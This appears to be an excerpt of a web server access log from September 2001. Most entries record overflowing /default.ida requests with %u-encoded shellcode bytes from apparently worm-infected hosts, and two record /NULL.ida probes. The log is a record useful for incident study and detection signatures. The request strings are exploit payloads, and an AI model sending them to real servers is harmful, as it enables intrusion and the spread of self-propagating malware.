  1197. 20010903 17:47:01: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1198. 20010903 18:06:48: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1199. 20010903 18:33:43: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1200. 20010903 19:38:43: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1201. 20010903 20:23:00: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1202. 20010903 20:35:26: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1203. 20010903 20:46:41: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1204. 20010903 21:48:48: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1205. 20010903 21:50:23: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1206. 20010903 21:51:38: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1207. 20010903 22:04:10:  [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1208. 20010903 22:54:32: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1209. 20010903 22:55:00:  [128.252.77.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1210. 20010903 23:06:01: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1211. 20010903 23:20:54: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1212. 20010903 23:29:30: dialup-ccts5-1.cc.columbia.edu [128.59.6.10] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1213. 20010904 00:01:00: pier-175.res.umass.edu [128.119.22.175] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1214. 20010904 00:12:31:  [218.2.150.10] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1215. 20010904 01:52:27: dynamic-addr-94-89.resnet.rochester.edu [128.151.94.89] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1216. 20010904 03:21:08: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1217. 20010904 03:46:32: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1218. 20010904 05:45:24: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1219. 20010904 06:02:12: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1220. 20010904 06:40:03:  [203.199.150.15] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1221. 20010904 06:52:16: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1222. 20010904 06:54:44: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1223. 20010904 08:42:21: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1224. 20010904 08:54:07: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1225. 20010904 10:05:03: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1226. 20010904 10:08:15:  [128.134.25.102] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1227. 20010904 10:37:02:  [128.134.8.28] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1228. 20010904 10:44:08: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1229. 20010904 11:35:34: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1230. 20010904 12:08:38: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1231. 20010904 12:27:52: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1232. 20010904 12:31:31: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1233. 20010904 13:26:38: merlin.cc.columbia.edu [128.59.39.247] "GET /NULL.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=X HTTP/1.1"
  1234. 20010904 13:31:09: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1235. 20010904 14:02:25: merlin.cc.columbia.edu [128.59.39.247] "GET /NULL.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=X HTTP/1.1"
